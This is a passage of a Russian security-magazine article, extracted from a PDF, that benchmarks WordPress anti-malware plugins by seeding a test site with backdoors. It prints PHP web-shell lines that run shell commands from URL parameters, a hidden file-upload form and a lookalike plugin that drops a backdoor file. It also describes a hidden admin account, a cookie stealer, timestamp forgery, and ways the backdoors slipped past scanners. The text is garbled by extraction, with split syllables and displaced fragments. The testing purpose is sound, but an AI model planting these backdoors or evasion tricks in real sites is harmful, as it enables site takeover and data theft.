силь но сужа ется, дабы внед ренный код оста вал ся незаме чен ным как мож но
доль ше. А вот спам и Black SEO скрип ты, которые в прин ципе не рас счи таны
на про дол житель ную работу  на  ском про мети рован ном ресур се,  чаще все го
засоря ют  все  под ряд  и  без  раз бора.  Такое  ПО  доволь но  лег ко  узнать  «по
почер ку»: ран домные сим волы в наз вани ях дирек торий, боль шое количес тво
на пер вый взгляд бес смыс ленных фай лов, час тичная или пол ная обфуска ция
кода.

INFO

Black SEO, «чер ное» SEO — вид поис ковой опти‐ 
миза ции,  осно выва ющий ся  на  при мене нии  явно
зап рещен ных и недоб росовес тных методов прод‐ 
вижения.  Основные  методи ки  «чер ного»  SEO:
дор веи,  кло акинг,  лин копомой ки,  избы ток  рек‐ 
ламы,  JavaScript‐редирек ты  и  про чее.  Имен но
в  эти  чудеса  поис ковой  опти миза ции  зачас тую
и прев раща ются взло ман ные сай ты на Wordpress.

При мер обфусци рован ного кода

В каких‐то слу чаях счет идет на десят ки фай лов, а в каких‐то и на тысячи

Не ред ко имен но эти отли читель ные чер ты и поз воля ют даже обыч ному поль‐ 
зовате лю  доволь но  опе ратив но  заметить,  что  с  сай том  тво рит ся  нелад ное.
Одна ко  вос ста нов ление  сай та  может  силь но  затянуть ся  как  раз  из‐за  объ‐ 
емов  вре донос ного  кода,  засоре ния  поис ковой  выдачи  или  наложен ных
на домен или  IP‐адрес сан кций. В общем,  такая работа  вре доно сов далека
от  юве лир ной,  а  обе зопа сить  себя  от  этой  голов ной  боли  зачас тую  мож но
прос то сво евре мен ным обновле нием движ ка и темы с пла гина ми.

Ос новной  же  и  самый  болез ненный  удар  при  зараже нии  сай та
под  управле нием  Wordpress  при ходит ся  на  дирек торию  .
Исклю чение  в  пос леднее вре мя сос тавля ет раз ве  что дирек тория 

, которую все чаще ста ли зак рывать от выпол нения PHP‐кода,
что в целом логич но, хотя и может в еди нич ных слу чаях соз давать неудобс тва.
Внут ри    хра нят ся  и  исполь зуемые  темы  офор мле ния,  и  пла‐ 
гины,  и фай лы  кеша,  и  даже  логи  с  бэкапа ми,  если  в  админке  уста нов лены
соот ветс тву ющие нас трой ки.

/wp‐content/
/wp‐con‐

tent/uploads/

/wp‐content/

Пла гины, осо бен но если они не обновля ются доволь но дол го,  час тень ко
и  ста новят ся  точ кой  вхо да  для  зло умыш ленни ка,  в  то  вре мя  как  дирек тория
с темами   отлично под ходит для внед рения, к при меру,
бэк дора. Почему не наобо рот? Потому что с пла гина ми свя зана некая «текуч‐ 
ка»:  сегод ня  вла дель цу  ресур са  нуж ны  одни  воз можнос ти,  а  зав тра  он
переду мает  и  все  уда лит,  уста новив  что‐то  новое.  С  темами  офор мле ния
такой динами ки поч ти не быва ет,  что  замет но сни жает шанс,  что  вре донос‐ 
ный код уда лят и дос туп к ресур су через тот же бэк дор будет потерян. По этой
при чине выгод нее получать дос туп  в  сис тему  через  какой‐то  уяз вимый пла‐ 
гин,  а  вре донос ный  код  пря тать  где‐то  в  нед рах  дирек тории 

.

/wp‐content/themes/

/wp‐content/
themes/

WWW

Изу чени ем уяз вимос тей в Wordpress спе циалис ты
по  информа цион ной  безопас ности  и  час тные
иссле дова тели  занима ются  дав но  и  доволь но
плот но. Вот нес коль ко ссы лок для самос тоятель‐ 
ного изу чения:

  —  полез ный  ресурс,  пос‐ 
вящен ный  уяз вимос тям  Wordpress:  дви жок,
пла гины, темы;

•https://wpvulndb.com

  —
наибо лее популяр ный и бес плат ный ска нер уяз‐ 
вимос тей Wordpress;

•https://github.com/wpscanteam/wpscan/

  —  пла гин
для  Wordpress,  который  ска ниру ет  сайт
на  пред мет  исполь зования  уяз вимых  вер сий
движ ка, тем и пла гинов по базе WPScan Vulner‐
ability Database.

•https://wordpress.org/plugins/wpscan/

За нима ющиеся безопас ностью движ ка экспер ты порой незас лужен но обхо‐ 
дят вни мани ем два фай ла, если они есть в кор невой дирек тории: 

 и  . Пер вый инте ресен тем, что его доволь но час то
редак тиру ют  и  сис тема,  и  сам поль зователь,  и  раз личные пла гины. По  этой
при чине  некото рые  ска неры  про пус кают  его  как  валид ный  по  умол чанию.
Прак тика  показы вает,  что  в  боль шинс тве  слу чаев  вре донос ный  код  там
не вызыва ет подоз рений  (речь не про обфусци рован ный веб‐шелл, разуме‐ 
ется), и это игра ет на руку зло умыш ленни кам.

wp‐config.
php wp‐config‐sample.php

Вто рой  файл    вызыва ет  вос торг  одним  сво им
наличи ем,  так  как  сис тема  исполь зует  его  все го  один  раз  в  виде  шаб лона
при уста нов ке Wordpress, да и уда лять его вруч ную ни поль зовате ли, ни раз‐ 
работ чики  не  спе шат,  что  так же  игра ет  на  руку  хакерам.  Если  хотя  бы  один
из этих двух фай лов есть в кор невой дирек тории сай та, то он так же отлично
подой дет для внед рения вре донос ного кода, хоть это решение и будет «под
носом» у вла дель ца, да и зап росы к это му фай лу в логах сер вера могут все же
выз вать подоз рения. В общем,  «сле пых  зон»  у  дан ной CMS немало,  и даже
при нуди тель но внед ренный в админку раз дел под наз вани ем «Здо ровье сай‐ 
та» револю ции не про извел (не говоря о том, что в нем есть весь ма спор ные
кри терии и советы).

wp‐config‐sample.php

МИФЫ И РЕАЛЬНОСТЬ
Со  вре менем  вок руг  Wordpress  сфор мирова лись  устой чивые  заб лужде ния,
которые я условно назову мифами. Вот основные из них.
•  качес тво. Сре ди раз работ чиков, модера торов и зав сегда таев
форума Wordpress быту ет мне ние о высоком качес тве попада ющих в офи‐ 
циаль ный репози торий тем и пла гинов, код которых яко бы про ходит мно‐ 
гочис ленные про вер ки, так что все это доб ро мож но сме ло исполь зовать
на сво их сай тах и осо бо ни о  чем не бес поко ить ся. Для сом нева ющих ся
в  такой  бла года ти  есть  клас сичес кий  спо соб  усы пить  бди тель ность:
высокие показа тели уста новок и положи тель ные отзы вы. Не могут же сот‐ 
ни тысяч поль зовате лей оши бать ся, вер но?

Миф № 0:

•  надеж ность. Wordpress яко бы дает воз можность за пару кли‐ 
ков  обес печить  сай ту  надеж ность  и  защиту,  не  зап латив  при  этом
ни копей ки. Еще одно рас простра нен ное сре ди поль зовате лей и пред при‐ 
нима телей  заб лужде ние.  Под  пред при нима теля ми  под разуме вают ся  те,
кто исполь зует Wordpress в сво ем биз несе.

Миф № 1:

•  безопас ность. на одном извес тном форуме не так дав но были
замече ны  занят ные  статьи,  зат рагива ющие  темати ку  безопас ности  раз‐ 
личных CMS. Для защиты Wordpress рекомен довали исполь зовать пла гины
безопас ности из репози тория, так как автор счи тает их луч шим и наибо лее
эффектив ным  решени ем  и  сам  поль зует ся  ими  для  вос ста нов ления
работос пособ ности  ском про мети рован ных  ресур сов.  В  дру гих  стать ях
для ата ки на дан ную CMS были даны рекомен дации, как заражать ресур сы
и  наибо лее  эффектив но  скры вать  внед ренный  код.  Суть  рекомен даций
сво дилась  к  тому,  что бы  напихать  куда  попало  этих  самых  «зак ладок»
в  наибо лее  извра щен ной манере,  и  все  это  в  теории  поз волит  получить
кон троль над ресур сом в час икс.

Миф № 2:

•  пре миум‐решения (плат ные) луч ше базовых (бес плат ных).Миф № 3:

А теперь я пред лагаю взгля нуть на более реаль ную кар тину, про верив теорию
прак тикой. То есть экспе римен том.

ПОДГОТОВКА CMS
Ра ботать будем, исполь зуя самую пос леднюю вер сию Wordpress — 5.2.4 (по
сос тоянию на 6 нояб ря 2019 года). Все стан дар тно: штат ная уста нов ка, далее
сра зу уда ляем ненуж ный пла гин Akismet Anti‐Spam и любые две темы из трех
дос тупных.  Hello  Dolly  пока  не  тро гаем,  поз же  рас ска жу  почему.  В  ито ге
получа ем «чис тый» Wordpress с единс твен ным изме нени ем в фай ле 

:
wp‐con‐

fig.php

define( 'WP_DEBUG', true );
define( 'WP_DEBUG_DISPLAY', false );
define( 'WP_DEBUG_LOG', 'wp‐content/versa‐debug‐log.txt' );

Пер вая стро ка вклю чает в Wordpress режим отладки, вто рая отклю чает отоб‐ 
ражение сооб щений об ошиб ках, третья поз воля ет вес ти лог работы движ ка
и  сох ранять  его  в  фай ле  жур нала  с  задан ным  нами  име нем.  Это  не  обя‐ 
затель ный шаг, но для экспе римен та и отсле жива ния оши бок лиш ним точ но
не будет.

Продолжение статьи →

https://wpvulndb.com/
https://github.com/wpscanteam/wpscan/
https://wordpress.org/plugins/wpscan/
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WORDPRESS
ПРОВЕРЯЕМ ЗАЩИТНЫЕ ПЛАГИНЫ В БОЕВЫХ

УСЛОВИЯХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ВЫБОР ПЛАГИНОВ
Мо жет ли вла делец ском про мети рован ного сай та самос тоятель но спра вить‐ 
ся с пос ледс тви ями взло ма, не при бегая к най му спе циалис та? В теории —
да, может,  и  для  это го  сущес тву ет  огромное  количес тво  пла гинов безопас‐ 
ности. Пер вым делом сто ит  поис кать их  в офи циаль ном репози тории Word‐
press по клю чевым сло вам   и  .security malware

Ре зуль тат поис ка в репози тории Wordpress по зап росу malware

На почет ном пер вом мес те мы видим безус ловно го лидера: 
 ком пании Wordfence. Активная раз работ ка, куча

опций  и  нас тро ек,  более  трех  мил лионов  уста новок,  сред ний  рей‐ 
тинг  4,8/5  бал лов  и  3177  положи тель ных  отзы вов  выг лядят  убе дитель но,
прав да? Без плат ной под писки поль зовате лю дос тупна вся базовая фун кци‐ 
ональ ность с исполь зовани ем Community‐сиг натур: фай рвол, ска нер фай лов
на наличие мал вари и изме нений фай лов ядра, управле ние аутен тифика цией
и про чее. У дан ного вида сиг натур есть одна осо бен ность — их обновле ние
про исхо дит с задер жкой в 30 дней. Забегая впе ред, могу ска зать, что осо бой
погоды  эта  задер жка  не  дела ет.  Тем  не  менее  про верим  работу  пла гина
на прос тых «зак ладках» и пос мотрим, оправдан ны ли столь высокие рей тин ги.

Wordfence Secu‐
rity — Firewall & Malware Scan

Стра ница пла гина Wordfence Security на wordpress.org

На вто ром мес те с силь ным отры вом от лидера рас положил ся пла гин 
 с более чем 900 000 активных уста новок. Эффектив ность выяв ления

мал вари  этим  пла гином  мы  про верить  не  смо жем,  так  как  модуль  ска нера
дос тупен  толь ко  в  PRO‐вер сии.  От  себя  замечу,  что  за  нес коль ко  лет  я
доволь но час то наб людал и про дол жаю наб людать этот пла гин безопас ности
на ском про мети рован ных ресур сах.

iThemes
Security

Стра ница пла гина iThemes Security на wordpress.org

Третье  мес то  по  популяр ности  дер жит 
 — про дукт  ком пании Sucuri  Inc.,  получив ший

рей тинг  4,4/5  бал лов  при  254  положи тель ных  отзы вах  и  более
чем 600 000 активных уста новок. Про верить эффектив ность выяв ления «зак‐ 
ладок» этим инс тру мен том мы  так же не смо жем из‐за необ ходимос ти плат‐ 
ной под писки.

Sucuri  Security  —  Auditing,  Malware
Scanner  and Security Hardening

Стра ница пла гина Sucuri Security — Auditing, Malware Scanner and Securi‐
ty Hardening на wordpress.org

Чет вертое  мес то  за  :
более  200  000  активных  уста новок,  595  положи тель ных  отзы вов  и  рей‐ 
тинг 4,9/5 бал лов.

Anti‐Malware  Security  and  Brute‐Force  Firewall

Стра ница пла гина Anti‐Malware Security and Brute‐Force Firewall
на wordpress.org

На пятом мес те мы видим   от Cerber
Tech  Inc.  с  более  чем  100  000  активных  уста новок,  рей тин гом  4,9/5  бал лов
и 375 положи тель ными отзы вами.

Cerber Security, Antispam & Malware Scan

Стра ница пла гина Cerber Security, Antispam & Malware Scan
на wordpress.org

Сот ни  тысяч  активных  уста новок,  высокие  рей тин ги  и  хва леб ные  отзы вы —
все прек расно, но сто ит ли это вос при нимать бук валь но?

INFO

Под готов ленный  к  тес там  «чис тый»  Wordpress
прос каниро ван  отдель но  каж дым  пла гином,  что
дало  ожи даемый  резуль тат:  ноль  сра баты ваний
в каж дом отдель ном слу чае, за исклю чени ем Anti‐
Malware Security and Brute‐Force Firewall, который
еще на стар те дал восемь лож ных сра баты ваний
на фай лы ядра движ ка.

ВНЕДРЕНИЕ ВРЕДОНОСНОГО КОДА
На  этой  ста дии  мы  нач нем  внед рять  «зак ладки»  в  наш  тес товый  сайт.
Для  начала  добавим  самый  прос той  и  оче вид ный  код,  который  заведо мо
будет без проб лем выяв лен, затем нем ного его скор ректи руем и про дол жим
отсле живать реак цию пла гинов безопас ности (если она будет).

  —  в  самый  конец  фай ла  добав ляем  строч ку 
.

• wpconfig.php system(

$_GET["subversa"]);

  —  добав ляем  код 
  обя затель но  перед  строч кой 

 (что бы не выз вать внут реннюю ошиб‐ 
ку сер вера при обра щении к фай лу).

• wpconfigsample.php passthru($_GET["sub

versa"]);exit(); require_once(AB

SPATH . 'wpsettings.php' );

,  , 
  —  добав ляем 

 во все три фай ла.

• /wpcontent/index.php /wpcontent/plugins/index.php /wp

content/themes/index.php echo  shell_exec(

$_GET["subversa"]);

Соз дадим  отдель ную  тему  и  назовем  ее,  к  при меру,  Corrupted,  пос ле  чего
сде лаем  ее  активной.  Суть  это го  дей ствия  сос тоит  в  том,  что  такой  темы
в репози тории Wordpress заведо мо нет, сле дова тель но, она будет счи тать ся
кас томной  и  ее  не  с  чем  будет  срав нивать  на  пред мет  целос тнос ти
и модифи каций. Мож но  соз дать  копию  той  темы,  что мы оста вили  при  под‐ 
готов ке Wordpress.

Те перь мы модифи циру ем сле дующие ее фай лы:
•  — в этот файл час то внед ряют
заг рузчик фай лов, что доволь но удоб но. Я добав лю вот такой:
/wp‐content/themes/corrupted/404.php

<?php echo "<center><form style='display:none;' method='POST' 
enctype='multipart/form‐data'><input type='file' name='file2u
pload'><input type='submit' name='upload' value='Upload'></form></
center>";$files = $_FILES['file2upload']['name'];if(isset($_POST[
'upload'])){if(@copy($_FILES['file2upload']['tmp_name'], $files)){
echo "Uploaded";}else{echo "Failed";}} ?>

В подоб ных слу чаях я не замечал добав ление сти ля вро де  ,
который  скры вает  заг рузчик  от  пос торон них  глаз,  что  доволь но  логич но
и прак тично.

display:none;

• В  файл    добавим 
.

/wp‐content/themes/corrupted/functions.php re‐
quire_once get_template_directory() . "/inc/ghostuser.php";

• В  файл    добавим 
.

/wp‐content/themes/corrupted/footer.php <?php 
system($_GET["subversa"]);?>

Ори гиналь ную тему, что ста ла неак тивной, так же нем ного изме ним.
• В  фай ле    —  добавим
сра зу пос ле   код заг рузчи ка:

/wp‐content/themes/twentysixteen/header.php
?><!DOCTYPE html>

<?php echo "<center><form style='display:none;' method='POST' 
enctype='multipart/form‐data'><input type='file' name='file2u
pload'> <input type='submit' name='upload' value='Upload'></form>
</center>";$files = $_FILES['file2upload']['name'];if(isset($_POST
['upload'])) {if(@copy($_FILES['file2upload']['tmp_name'], $files
)){echo "Uploaded";}else{echo "Failed";}} exit();?>

• Соз дадим  файл 
 с таким содер жимым:  .

/wp‐content/themes/twentysixteen/inc/fakefile.
php <?=`$_GET[s]`?>

Так же мож но  добавить  в  дирек торию    нес коль ко  веб‐шел лов,
что бы пос мотреть, будет ли на них какая‐то реак ция со сто роны тес тиру емых
пла гинов. Эти веб‐шел лы широко извес тны и поль зуют ся популяр ностью уже
мно го лет. Най ти их в интерне те не пред став ляет боль шой слож ности (хотя их
и  выпили вают  с  гит хаба  с  завид ной  регуляр ностью).  Речь  идет  вот  об  этих
скрип тах:

/wp‐content/

• /wpcontent/subversa.php

• /wpcontent/simple.shtml

• /wpcontent/nbl.php

• /wpcontent/alfa—3.php

• /wpcontent/c—7.php

• /wpcontent/mini47.php

• /wpcontent/b374k.php

• /wpcontent/w50.php

И  в  качес тве  финаль ного  аккорда  вер немся  к  пла гину  Hello  Dolly.  Вооб ще,
почему этот пла гин оста ется в  ком плек те пос тавки Wordpress в наши дни —
решитель но непонят но. Это абсо лют но бес полез ный пла гин, который еще и
мож но  исполь зовать  в  качес тве  «носите ля»  вре донос ного  кода,  что  дела ет
ситу ацию  сов сем  стран ной,  учи тывая  рекомен дации  из  раз дела  «Здо ровье
сай та».

Один из спо собов сок рытия фай ла с вре донос ным кодом на стра нице
«Пла гины»

На  скрин шоте  вид но,  что  админпа нель  опре дели ла  сра зу  два  пла гина Hello
Dolly,  которые  визу аль но  нераз личимы.  Здесь  была  про дела на  нехит рая
манипу ляция  с бук вой  :  пер вый  по  поряд ку  пла гин  на  самом деле  называ‐ 
ется Hello DoIIy (файл   — бук вы   замене ны на заг лавные ii), а вот
вто рой  как  раз  и  есть  ори гинал.  Заметить  экспе римен ты  с  заг лавны ми
и строч ными бук вами мож но, к при меру, в исходном коде стра ницы.

i
heIIo.php ll

Нуж ная часть исходно го кода стра ницы «Пла гины» в «Инс тру мен тах раз ‐
работ чика» Google Chrome

Код, отве чающий за соз дание фай ла shadow.php

В нашем слу чае я модифи циро вал «клон» пла гина так, что бы при обра щении
к фай лу   соз давал ся файл с наз вани ем 
и кодом   внут‐ 
ри. При желании мож но «подог нать» под ори гинал и раз мер фай ла, для боль‐ 
шей убе дитель нос ти. Забав но, прав да?

heIIo.php /wp‐content/shadow.php
<?= $s="sy"."st"."em";$v=$_GET["subversa"];$s($v); ?>

Пла гины Hello Dolly и Hello DoIIy

Все го получи лось 20 фай лов с вре донос ным кодом, которые дол жны без тру‐ 
да  выявить  пла гины  безопас ности.  Нас чет  веб‐шел лов  осо бых  иллю зий
питать  не  при ходит ся,  так  как  без  обфуска ции  пла гины  могут  сра баты вать
поч ти на каж дую строч ку их кода, да и заг рузчи ки фай лов не дол жны выз вать
осо бой паники у средств безопас ности, пос коль ку сам по себе про цесс заг‐ 
рузки фай лов явля ется легитим ным и час то исполь зует ся пла гина ми. В качес‐ 
тве малень кого бонуса я под клю чу прос тень кий самопис ный cookie‐стил лер
на  одной  из  стра ниц  Wordpress  в  виде  отдель ного  скрип та,  вызыва емо го
тегом  .<script src=..

СКАНИРОВАНИЕ
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

Wordfence Security – Firewall & Malware Scan
За пус каем  пер вое  ска ниро вание  в  стан дар тном  режиме  и,  зата ив  дыхание,
ожи даем, что будет обна ружен весь внед ренный код.

Ре зуль тат пер вого запус ка Wordfence Security — Firewall & Malware Scan

12/20. Что было обна руже но на самом деле:
 — system();• wpconfig.php

 — passthru();• wpconfigsample.php

 — веб‐шелл;• wpcontent/nbl.php

 — веб‐шелл;• wpcontent/mini47.php

 — веб‐шелл;• wpcontent/alfa—3.php

 — веб‐шелл;• wpcontent/b374k.php

 — веб‐шелл;• wpcontent/w50.php

 — веб‐шелл;• wpcontent/c—7.php

 — shell_exec();• wpcontent/themes/index.php

 — shell_exec();• wpcontent/plugins/index.php

 — shell_exec() + модифи кация фай ла ядра;• wpcontent/index.php

 — system().• wpcontent/themes/corrupted/footer.php

Об ратим вни мание на  то,  как модуль ска ниро вания рас позна ет фай лы 
 и   с 

:  пер вый  оце нива ется  как  модифи циро ван ный  файл  ядра
и  попада ет  в  отчет  дваж ды,  а  вот  дру гие  два  уже  нет.  Почему  —  загад ка.
Спра вед ливос ти ради замечу, что око ло полуго да назад файл 

 так же не счи тал ся фай лом ядра.

/wp‐
content/index.php /wp‐content/themes/index.php /wp‐content/plu‐
gins/index.php

/wp‐content/
index.php

Что не было обна руже но (8/20):
 — веб‐шелл;• wpcontent/subversa.php

 — веб‐шелл;• wpcontent/simple.shtml

  —  под дель ный  пла гин,  записы‐ 
вающий код бэк дора в файл  ;

• wpcontent/plugins/heIIo.php

shadow.php

 — бэк дор;• wpcontent/plugins/shadow.php

  —  скры тый  заг рузчик  фай‐ 
лов;

• wpcontent/themes/corrupted/404.php

  — 
;

• wpcontent/themes/corrupted/header.php require_once 

get_template_directory() . '/inc/ghostuser.php

  —  код,  добав‐ 
ляющий скры того адми нис тра тора сай та;

• wpcontent/themes/corrupted/inc/ghostuser.php

  —  скры тый  заг‐ 
рузчик фай лов.

• wpcontent/themes/twentysixteen/header.php

Стра ница «Поль зовате ли» со скры той учет ной записью адми нис тра тора

Впол не  ожи даемо,  что  были  выяв лены  наибо лее  популяр ные  веб‐шел лы,
одна ко  «мимо  радаров»  прош ли  заг рузчи ки  фай лов  вмес те  с 

  Инте рес но  то,  что  два  веб‐шел ла  без  обфуска ции
под подоз рение не попали сов сем (к воп росу об избы точ ности кода). Кро ме
того,  весь ма  стран но,  что  изме нения  темы  Twenty  Sixteen  так же  не  попали
под подоз рение, рав но как и соз дание еще одно го поль зовате ля с пра вами
адми нис тра тора  и  пос леду ющим  его  сок рыти ем  со  стра ницы  «Поль зовате‐ 
ли».

.require_once()

Ре зуль тат оче ред ного ска ниро вания Wordfence Security — Firewall & Mal‐
ware Scan

Хо рошо, исклю чим шесть обна ружен ных веб‐шел лов из даль нейшей работы,
а выяв ленные «зак ладки» поп робу ем дорабо тать:

 — меня ем  код  на 
;

• wpconfig.php $sy=system;$sy($_GET["subver

sa"]);

 — меня ем код на 
;

• wpconfigsample.php $pt=passthru;$pt($_GET[

"subversa"]);exit();

,  , 
 — меня ем код на 

 во всех трех фай лах;

• /wpcontent/index.php /wpcontent/plugins/index.php /wp

content/themes/index.php $sh=shell_exec;echo

$sh($_GET["subversa"]);

  —  меня ем  код
на  .

• wpcontent/themes/corrupted/footer.php

$sy=system;$sy($_GET["subversa"]);

Пос ле это го вновь запус тим ска ниро вание и пос мотрим, будут ли выяв лены
эти «зак ладки» вновь.

Еще один запуск ска ниро вания Wordfence Security — Firewall & Malware
Scan дал такой резуль тат

На этот раз выяв лено 2/14 угроз:
 —  ;• wpcontent/themes/corrupted/footer.php system()

 — модифи кация фай ла ядра.• /wpcontent/index.php

Из менения фай ла    вызовут  сра баты вание  в  любом
слу чае,  поэто му  воз вра щаем  его  к  пер воначаль ному  виду,  а  «зак ладку»
в фай ле   нем ного видо изме ним
и запус тим пов торное ска ниро вание:

/wp‐content/index.php

wp‐content/themes/corrupted/footer.php

  —  добав ляем  око‐ 
ло 200 про белов перед  .

• wpcontent/themes/corrupted/footer.php

$sy=system;$sy($_GET["subversa"]);

Пол ное сок рытие вре донос ного кода в «стан дар тном» режиме ска ниро ‐
вания

Ре зуль тат пре вос ходит все ожи дания: 0/13.
Но  это  «стан дар тный»  тип  ска ниро вания,  а  что  будет  на  «парано идаль‐ 

ном»? Вклю чаем  режим High  Sensitivity  в  нас трой ках  ска ниро вания  и  запус‐ 
каем еще одну про вер ку.

Ак тивация «парано идаль ного режима» на стра нице нас тро ек

В «парано идаль ном режиме» выяв лена лишь модифи кация ори гиналь ‐
ной темы офор мле ния

Ре зуль тат: 1/13.
Мо дуль  ска ниро вания  выявил модифи кацию фай ла 

  темы  Twenty  Sixteen.  При чем  уро вень  угро зы
оце нива ется  как  Medium,  то  есть  сред ний.  Пла гин  ссы лает ся  на  то,  что
модифи кацию фай ла мог выпол нить и сам поль зователь. Вооб ще огонь!

wp‐content/themes/
twentysixteen/header.php

«Уплывшие» фай лы cookies пла гин Wordfence Security — Firewall & Malware
Scan ни разу не заметил.

Sucuri Security — Auditing, Malware Scanner and Security Hardening
Шут ки ради сто ило запус тить этот пла гин безопас ности,  что бы уви деть зак‐ 
лючение  по  текуще му  сос тоянию  сай та:  All  Core Wordpress  Files  Are Correct.
Хит рость  это го  решения  в  том,  что  модуль  ска ниро вания  по  базовым  сиг‐ 
натурам работа ет  толь ко при наличии годовой под писки, цена которой сос‐ 
тавля ет от 200 дол ларов.

All Core Wordpress Files Are Correct

Anti-Malware Security and Brute-Force Firewall
Еще одно пот ряса ющее решение, которое мож но най ти в репози тории. Итак,
запус каем пол ную про вер ку и вни матель но изу чаем резуль тат: 1768 фай лов
прос каниро вано,  446 фай лов  про пуще но  (.CSS,  .PNG,  .GIF  и  так  далее)  и...
выяв лено восемь потен циаль ных угроз!

Итог работы пла гина Anti‐Malware Security and Brute‐Force Firewall

Вот эти опас ные, по мне нию пла гина, фай лы:
• wpadmin/includes/classpclzip.php

• wpincludes/js/json2.js

• wpincludes/js/json2.min.js

• wpincludes/js/twsack.js

• wpincludes/js/twsack.min.js

• wpincludes/js/jquery/jquery.form.min.js

• wpincludes/js/jquery/jquery.schedule.js

• wpincludes/js/tinymce/tiny_mce_popup.js

В  общем,  восемь  лож ных  сра баты ваний  и  ничего  даже  близ ко  похоже го
на наши «зак ладки». Но не будем спе шить с вывода ми, так как у дан ного пла‐ 
гина есть инте рес ная опция, работа ющая «из короб ки»: Upload PHP File Pro‐
tection. У нас как раз есть заг рузчи ки фай лов, так что тест этой фун кции нап‐ 
рашива ется сам собой.

Ре зуль тат при попыт ке заг рузить файл .PHP

Оп ция Upload PHP File Protection в дей ствии

Пос ле вклю чения это го режима мы видим сооб щение: You have been redirect‐
ed  here  from  hacked.wordpress  which  is  protected  by  GOTMLS  Anti‐Malware.
Неп лохо! Файл   он заг рузить не дал, а вот сме на рас ширения
поз волила веб‐шел лу прос кочить со свис том аж нес коль ко раз:  , 

,   и так далее. Думаю, суть ты уло вил.

mini_b374k.php
*.shtml *.

php5 *.php7

Cerber Security, Antispam & Malware Scan
По жалуй, самый инте рес ный про дукт из всех рас смот ренных в статье. Менее
чем  за  минуту  выпол нено  пол ное  ска ниро вание,  ито гом  которо го  ста‐ 
ли 14 пре дуп режде ний. Итак, вот они:

 — обна ружен подоз ритель ный код (крит.);• wpconfig.php

  —  несов падение  кон троль ной  сум мы  фай ла
(крит.);

• wpconfigsample.php

  —  обна ружен  подоз ритель ный  код
(крит.);

• wpcontent/plugins/heIIo.php

  —  не  свя‐ 
зан ный с сис темой файл;

• wpcontent/themes/twentysixteen/inc/fakefile.php

  —  несов падение
кон троль ной сум мы фай ла (крит.);

• wpcontent/themes/twentysixteen/header.php

  —  несов падение  кон‐ 
троль ной сум мы фай ла (крит.);

• wpcontent/themes/twentysixteen/404.php

  —  обна ружен
подоз ритель ный код (крит.);

• wpcontent/themes/corrupted/functions.php

  —  обна ружен  подоз‐ 
ритель ный код (крит.);

• wpcontent/themes/corrupted/footer.php

  —  обна ружен  подоз ритель ный  код
(крит.);

• wpcontent/plugins/index.php

  —  обна ружен  подоз ритель ный  код
(крит.);

• wpcontent/themes/index.php

 — обна ружен вре донос ный код (крит.);• wpcontent/subversa.php

 — обна ружен вре донос ный код (крит.).• wpcontent/simple.shtml

Еще  два  пре дуп режде ния  касались  пла гина  и  темы,  которых  нет  в  репози‐ 
тории, и, соот ветс твен но, целос тность фай лов не про верить — не с чем срав‐ 
нивать.

Ре зуль тат ска ниро вания пла гином Cerber Security, Antispam & Malware
Scan

От личный резуль тат, тем более что пла гин не тре бует каких‐то плат ных под‐ 
писок для локаль ного ска ниро вания фай лов. Разуме ется, он не без изъ янов:
по сво ему опы ту ска жу, что обма нуть «Цер бера» мож но с помощью все той же
обфуска ции, да и заг рузке фай лов он даже не дума ет пре пятс тво вать, но это
уже сов сем дру гая исто рия. Из того, что этот сто роже вой пес про пус тил:

 — бэк дор;• wpcontent/plugins/shadow.php

  —  скры тый  заг рузчик  фай‐ 
лов;

• wpcontent/themes/corrupted/404.php

  —  код,  добав‐ 
ляющий скры того адми нис тра тора сай та.

• wpcontent/themes/corrupted/inc/ghostuser.php

Так же  есть  воз можность  обма нывать  модуль  ска ниро вания,  исполь зуя
для модифи циро ван ных фай лов коман ду   с парамет рами  :touch ‐a ‐m ‐t

$ touch ‐a ‐m ‐t 201911081434.21 shadow.php

Этой  коман дой  дата  и  вре мя  дос тупа  и  изме нения  для  фай ла 
были уста нов лены на 201911081434.21, то есть 2019 год, 11 — месяц, 08 —
чис ло, 14 — часы, 34 — минуты, 21 — секун ды.

shadow.php

Бо нус: «Ай‑Болит»
Что бы нем ного раз нооб разить ассорти мент мал вари и инс тру мен тов, я пред‐ 
лагаю  оце нить  в  деле  работу  популяр ней шего  «Ай‐Болита»,  который  нах‐ 
валива ют  силь нее  всех  перечис ленных  в  статье  пла гинов  безопас ности,
вмес те взя тых. А затем пос мотреть на резуль тат работы таких пла гинов про‐ 
тив спам‐стра ниц,  которых я закину на  тес товый сайт чуть более 4000 штук.
Спам‐стра ницы —  это  прос то  рек ламные  веб‐стра ницы,  содер жащие  текст
с  боль шим  количес твом  поис кового  спа ма.  Их  я  поза имс тво вал  на  одном
из  взло ман ных  Wordpress‐сай тов,  с  которым  мне  приш лось  раз бирать ся
не так дав но.

К CMS Wordpress «Ай‐Болит» пря мого отно шения не име ет, но мно гими он
вос при нима ется  как  «вол шебная  таб летка»  и  даже  иног да  навязы вает ся
в  качес тве  необ ходимой  плат ной  услу ги  некото рыми  хос тинг‐ком пани ями,
если сайт кли ента был ском про мети рован.

Итак, ска чива ем « » для сай тов (вер сия от 27.02.2019 03:09), заг‐ 
ружа ем фай лы  в  кор невую  дирек торию  тес тового  сай та  и  в  кон соли  запус‐ 
каем про вер ку:

Ай‐Болит

$ php ai‐bolit.php —skip=jpg,png,gif,jpeg,JPG,PNG,GIF,bmp,xml,zip,
rar,css,avi,mov —mode=2 —size=2048K

Я добавил опцию про пус ка фай лов с рас ширени ями  jpg,  png, gif,  jpeg,  JPG,
PNG, GIF, bmp, xml, zip, rar, css, avi, mov, уста новил мак сималь ный раз мер ска‐ 
ниру емых фай лов на 2048 Кбайт, а тип ска ниро вания выб рал «парано идаль‐ 
ный».  К  сло ву  ска зать,  это  единс твен ный  режим  «Ай‐Болита»,  в  котором  он
спо собен  най ти  хоть  что‐то,  вывали вая  попут но  кучу  false  positives,  то  есть
лож ных сра баты ваний. Отче го отчет пос ле ска ниро вания раз бирать доволь но
мутор но.

От чет о про делан ной работе «Ай‐Болита»

Ка залось бы, для такого популяр ного и мощ ного инс тру мен та это ерун довая
задач ка,  но...  из  ~4000  спам‐стра ниц  выяв лено  менее  200  (то  есть
менее 5%), а из 14 зак ладок най дены все го 2 — заг рузчи ки фай лов (14,3%).
Как  видим,  кар тина  очень  далека  от  иде аль ной,  осо бен но  учи тывая  воз‐ 
можность  чуть  «замас кировать»  заг рузчи ки  фай лов.  Тог да  счет чик  выяв‐ 
